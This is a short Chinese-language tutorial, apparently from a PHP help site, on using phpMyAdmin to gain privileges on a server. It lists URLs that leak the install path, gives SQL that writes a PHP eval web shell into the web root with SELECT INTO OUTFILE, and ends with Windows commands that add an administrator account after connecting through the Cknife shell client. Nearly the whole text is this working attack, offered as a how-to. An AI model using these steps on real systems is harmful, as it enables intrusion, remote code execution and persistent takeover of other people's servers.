怎麼利用phpMyAdmin提權

下面由phpmyadmin教學欄位介紹利用phpMyAdmin授權給大家的方法，希望對需要的朋友有幫助！

利用phpMyAdmin提點權限

爆路徑

• /phpmyadmin/libraries/lect_lang.lib.php
• #/phpMyAdmin/index.php?lang[]=1
• #/phpMyAdmin/phpinfo.php
# /load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
• ##/phpmyadmin/libraries/select_lang.lib.php
• /phpmyadmin/libraries/lect_lang.lib.php
• /phpmyadmin/libraries/mcrypt.lib.php

得到物理路徑C:\wamp\www\phpmyadmin\themes\darkblue_orange\layout.inc.php

##寫馬

Create TABLE a (cmd text NOT NULL);
Insert INTO a (cmd) VALUES("<?php eval($_POST[Cknife]);?>");
select cmd from a into outfile "C:/wamp/www/phpmyadmin/d.php";
Drop TABLE IF EXISTS a;

取得webshel​​l

最後用Cknife連接，建立帳戶並加入到管理員使用者群組
#net user admin admin /add
net localgroup administrator admin /add

以上是怎麼利用phpMyAdmin提權的詳細內容。更多資訊請關注PHP中文網其他相關文章！